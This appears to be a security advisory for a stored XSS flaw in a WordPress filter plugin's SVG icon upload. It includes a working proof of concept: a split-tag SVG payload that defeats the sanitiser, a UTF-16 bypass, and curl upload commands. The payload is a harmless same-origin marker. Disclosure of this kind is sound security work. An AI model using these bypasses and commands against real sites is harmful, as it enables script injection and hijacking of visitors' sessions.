YMC Filter < 3.12.9 – Author+ Stored XSS via SVG Icon Upload | CVE 2026-16559

Description

The plugin does not sanitize SVG files uploaded through one of its icon upload features and permits their upload by low-privileged users, allowing users with the Author role and above to upload a file containing JavaScript that executes in the site's origin when the file is viewed.

Proof of Concept

Prerequisites: an Author account (default role, no plugin configuration required).

1. Log in as the Author and obtain the REST nonce:
   GET https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce

2. Create a script-bearing SVG. On 3.12.8 the payload must use the sanitiser's own removable tokens as splitters, because each stripping pass is single-shot and never re-scans its output (ymc-bypass.svg):

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<scr<script></script>ipt>new Image().src='/wp-content/uploads/ymc-bypass-fired.txt';</scr<script></script>ipt>
</svg>

   On 3.12.7 a plain inline <script> is sufficient.

3. Upload it as the Author:
   curl -sk -b author.jar -H "X-WP-Nonce: REST_NONCE" \
     -F "icon=@ymc-bypass.svg;type=image/svg+xml" \
     "https://victim.example/index.php?rest_route=/ymc/v1/admin/terms/icon"
   -> {"success":true,"data":{"url":"/wp-content/uploads/2026/07/ymc-bypass.svg",...},"version":"3.12.8"}

4. Fetch the stored file. The sanitiser has REBUILT the script tag it tried to strip:
   curl -i "https://victim.example/wp-content/uploads/2026/07/ymc-bypass.svg"
   -> Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>new Image().src='/wp-content/uploads/ymc-bypass-fired.txt';</script>
</svg>

5. When a victim opens that URL in a browser, the script executes in the site origin.

Simpler variant, no obfuscation at all: write the same SVG carrying an ordinary <script> tag encoded as UTF-16. The sanitiser's regexes are byte-oriented and match nothing, so the file is stored byte-identical and executes.

Negative controls: unauthenticated upload -> 401; Subscriber and Contributor with a valid REST nonce -> 403 (upload_files required).